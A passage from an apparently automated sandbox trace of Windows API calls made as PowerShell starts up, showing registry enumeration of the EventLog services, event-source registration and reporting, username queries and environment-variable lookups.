nSize=0x27e9d4) returned 0x1 [0097.177] GetLastError () returned 0x3 [0097.178] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27e9dc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27e9dc) returned 1 [0097.222] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e83c | out: phkResult=0x27e83c*=0x32c) returned 0x0 [0097.222] RegQueryInfoKeyW (in: hKey=0x32c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e8a4, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e8a0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e8a4*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e8a0*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.222] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x0, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.222] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x1, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.222] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x2, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.223] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x3, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.223] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x4, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.223] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x5, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.223] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x6, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.223] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x7, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.223] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x8, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.223] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x378) returned 0x0 [0097.224] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.224] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x37c) returned 0x0 [0097.224] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.225] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x380) returned 0x0 [0097.225] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.225] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x384) returned 0x0 [0097.225] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.225] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x388) returned 0x0 [0097.225] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.226] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x38c) returned 0x0 [0097.226] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.226] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x390) returned 0x0 [0097.226] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.226] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x394) returned 0x0 [0097.227] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.227] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x398) returned 0x0 [0097.227] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x39c) returned 0x0 [0097.227] RegCloseKey (hKey=0x39c) returned 0x0 [0097.227] RegCloseKey (hKey=0x32c) returned 0x0 [0097.227] RegCloseKey (hKey=0x398) returned 0x0 [0097.228] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e83c | out: phkResult=0x27e83c*=0x398) returned 0x0 [0097.228] RegQueryInfoKeyW (in: hKey=0x398, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e8a4, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e8a0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e8a4*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e8a0*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.228] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x0, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.228] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x1, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.228] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x2, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.228] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x3, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.229] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x4, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.229] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x5, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.229] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x6, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.229] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x7, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.229] RegEnumKeyExW (in: hKey=0x398, dwIndex=0x8, lpName=0x6f7118, lpcchName=0x27e8c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27e8c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.230] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x32c) returned 0x0 [0097.230] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.230] RegOpenKeyExW (in: hKey=0x398, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x39c) returned 0x0 [0097.231] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.231] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x3a0) returned 0x0 [0097.231] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.231] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x3a4) returned 0x0 [0097.231] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.232] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x3a8) returned 0x0 [0097.232] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.232] RegOpenKeyExW (in: hKey=0x398, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x3ac) returned 0x0 [0097.233] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.233] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x3b0) returned 0x0 [0097.233] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.233] RegOpenKeyExW (in: hKey=0x398, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x3b4) returned 0x0 [0097.233] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x0) returned 0x2 [0097.234] RegOpenKeyExW (in: hKey=0x398, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x3b8) returned 0x0 [0097.234] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e86c | out: phkResult=0x27e86c*=0x3bc) returned 0x0 [0097.234] RegCloseKey (hKey=0x3bc) returned 0x0 [0097.234] RegCloseKey (hKey=0x398) returned 0x0 [0097.235] RegCloseKey (hKey=0x3b8) returned 0x0 [0097.235] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e830 | out: phkResult=0x27e830*=0x3b8) returned 0x0 [0097.235] RegQueryInfoKeyW (in: hKey=0x3b8, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e898, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e894, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e898*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e894*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.235] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x0, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.235] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x1, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.235] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x2, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.235] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x3, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.235] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x4, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.236] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x5, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.236] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x6, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.236] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x7, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.236] RegEnumKeyExW (in: hKey=0x3b8, dwIndex=0x8, lpName=0x6f7118, lpcchName=0x27e8b4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27e8b4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.236] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x398) returned 0x0 [0097.236] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x0) returned 0x2 [0097.236] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3bc) returned 0x0 [0097.236] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x0) returned 0x2 [0097.236] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3c0) returned 0x0 [0097.237] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x0) returned 0x2 [0097.237] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3c4) returned 0x0 [0097.237] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x0) returned 0x2 [0097.237] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3c8) returned 0x0 [0097.237] RegOpenKeyExW (in: hKey=0x3c8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x0) returned 0x2 [0097.237] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3cc) returned 0x0 [0097.237] RegOpenKeyExW (in: hKey=0x3cc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x0) returned 0x2 [0097.238] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3d0) returned 0x0 [0097.238] RegOpenKeyExW (in: hKey=0x3d0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x0) returned 0x2 [0097.238] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3d4) returned 0x0 [0097.238] RegOpenKeyExW (in: hKey=0x3d4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x0) returned 0x2 [0097.238] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3d8) returned 0x0 [0097.238] RegOpenKeyExW (in: hKey=0x3d8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e860 | out: phkResult=0x27e860*=0x3dc) returned 0x0 [0097.238] RegCloseKey (hKey=0x3dc) returned 0x0 [0097.238] RegCloseKey (hKey=0x3b8) returned 0x0 [0097.238] RegCloseKey (hKey=0x3d8) returned 0x0 [0097.244] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x4e90004 [0097.248] GetLastError () returned 0x0 [0097.251] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x337dce4*="WSMan", lpRawData=0x337db8c) returned 1 [0097.257] GetLastError () returned 0x0 [0097.258] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.258] GetLastError () returned 0xcb [0097.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.259] GetLastError () returned 0xcb [0097.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.259] GetLastError () returned 0xcb [0097.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.259] GetLastError () returned 0xcb [0097.259] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27e9d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27e9d4) returned 0x1 [0097.260] GetLastError () returned 0xcb [0097.260] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27e9dc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27e9dc) returned 1 [0097.260] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3381bc0*="Alias", lpRawData=0x3381a7c) returned 1 [0097.260] GetLastError () returned 0x0 [0097.262] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.262] GetLastError () returned 0xcb [0097.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.262] GetLastError () returned 0xcb [0097.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.262] GetLastError () returned 0xcb [0097.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e384, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.263] GetLastError () returned 0xcb [0097.263] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27e9d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x27e9d4) returned 0x1 [0097.263] GetLastError () returned 0xcb [0097.263] GetUserNameW (in: lpBuffer=0x6f7118, pcbBuffer=0x27e9dc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x27e9dc) returned 1 [0097.264] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3385b54*="Environment", lpRawData=0x3385a10) returned 1 [0097.264] GetLastError () returned 0x0 [0097.265] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.265] GetLastError () returned 0xcb [0097.266] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0097.266] GetLastError () returned 0xcb [0097.266] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0097.266] GetLastError () returned 0xcb [0097.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x27e504, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", 